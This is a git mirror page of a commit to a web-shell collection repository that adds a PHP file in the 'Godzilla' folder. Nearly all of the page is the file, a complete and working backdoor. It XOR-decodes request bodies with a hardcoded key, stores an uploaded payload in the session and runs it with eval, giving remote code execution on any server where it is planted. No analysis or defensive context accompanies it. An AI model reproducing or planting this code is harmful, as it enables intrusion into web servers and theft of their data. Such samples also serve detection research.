mirror of
https://github.com/tennc/webshell.git
synced 2025-12-06 12:51:28 +00:00
Create 20220213_02.php
This commit is contained in:
26
Godzilla/20220213_02.php
Normal file
26
Godzilla/20220213_02.php
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
<?php
|
||||||
|
@session_start();
|
||||||
|
@set_time_limit(0);
|
||||||
|
@error_reporting(0);
|
||||||
|
function encode($D,$K){
|
||||||
|
for($i=0;$i<strlen($D);$i++) {
|
||||||
|
$c = $K[$i+1&15];
|
||||||
|
$D[$i] = $D[$i]^$c;
|
||||||
|
}
|
||||||
|
return $D;
|
||||||
|
}
|
||||||
|
$payloadName='payload';
|
||||||
|
$key='3c6e0b8a9c15224a';
|
||||||
|
$data=file_get_contents("php://input");
|
||||||
|
if ($data!==false){
|
||||||
|
$data=encode($data,$key);
|
||||||
|
if (isset($_SESSION[$payloadName])){
|
||||||
|
$payload=encode($_SESSION[$payloadName],$key);
|
||||||
|
eval($payload);
|
||||||
|
echo encode(@run($data),$key);
|
||||||
|
}else{
|
||||||
|
if (stripos($data,"getBasicsInfo")!==false){
|
||||||
|
$_SESSION[$payloadName]=encode($data,$key);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user